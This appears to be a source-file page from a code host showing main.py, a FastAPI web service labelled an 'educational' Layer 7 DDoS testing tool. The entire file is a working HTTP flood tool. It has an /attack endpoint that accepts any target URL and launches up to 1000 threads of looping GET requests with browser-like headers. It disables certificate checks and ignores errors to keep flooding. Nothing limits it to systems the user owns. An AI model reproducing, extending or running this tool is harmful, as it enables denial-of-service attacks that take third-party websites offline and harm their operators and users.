File size: 2,941 Bytes
f39ffbb f707f27 8df8350 faf62e8 8df8350 faf62e8 8df8350 f39ffbb 8df8350 f39ffbb f707f27 8df8350 f707f27 8df8350 f707f27 8df8350 f707f27 8df8350 f707f27 8df8350 faf62e8 8df8350 f39ffbb 8df8350 faf62e8 8df8350 f39ffbb 8df8350 f39ffbb 8df8350 f39ffbb 8df8350 faf62e8 8df8350 faf62e8 8df8350 |
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 |
# main.py
import uvicorn
from fastapi import FastAPI, HTTPException
from pydantic import BaseModel
import threading
import requests
import time
import logging
from typing import Optional
from concurrent.futures import ThreadPoolExecutor
logging.basicConfig(level=logging.INFO)
logger = logging.getLogger(__name__)
app = FastAPI(title="Layer 7 DDoS Testing Tool (Educational Only)")
# Global attack control
attack_active = False
attack_thread = None
executor = ThreadPoolExecutor(max_workers=500) # Adjustable max threads
class AttackConfig(BaseModel):
target: str # http:// or https://
port: Optional[int] = None
duration: int # seconds
threads: int = 100 # number of concurrent threads
def flood_target(target_url: str):
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
"Connection": "keep-alive",
"Cache-Control": "no-cache",
"Pragma": "no-cache"
}
session = requests.Session()
while attack_active:
try:
session.get(target_url, headers=headers, timeout=5, verify=False)
except:
pass # Ignore failures to keep flooding
def start_attack(config: AttackConfig):
global attack_active, attack_thread
attack_active = True
# Build target URL
protocol = "https" if config.target.startswith("https") else "http"
port = config.port or (443 if protocol == "https" else 80)
target_url = f"{config.target}:{port}"
logger.info(f"Starting Layer 7 flood on {target_url} for {config.duration}s with {config.threads} threads")
# Launch threads
futures = []
for _ in range(config.threads):
future = executor.submit(flood_target, target_url)
futures.append(future)
# Stop after duration
time.sleep(config.duration)
stop_attack()
logger.info("Attack completed.")
def stop_attack():
global attack_active
attack_active = False
logger.info("Attack stopped.")
@app.post("/attack")
def launch_attack(config: AttackConfig):
global attack_thread
if attack_thread and attack_thread.is_alive():
raise HTTPException(status_code=400, detail="Attack already in progress")
if config.threads > 1000:
raise HTTPException(status_code=400, detail="Max 1000 threads allowed")
if config.duration > 300:
raise HTTPException(status_code=400, detail="Max duration 300 seconds")
attack_thread = threading.Thread(target=start_attack, args=(config,), daemon=True)
attack_thread.start()
return {"status": "attack_started", "config": config}
@app.post("/stop")
def stop():
stop_attack()
return {"status": "attack_stopped"}
@app.get("/status")
def status():
return {"attack_active": attack_active}
if __name__ == "__main__":
uvicorn.run(app, host="0.0.0.0", port=8000) |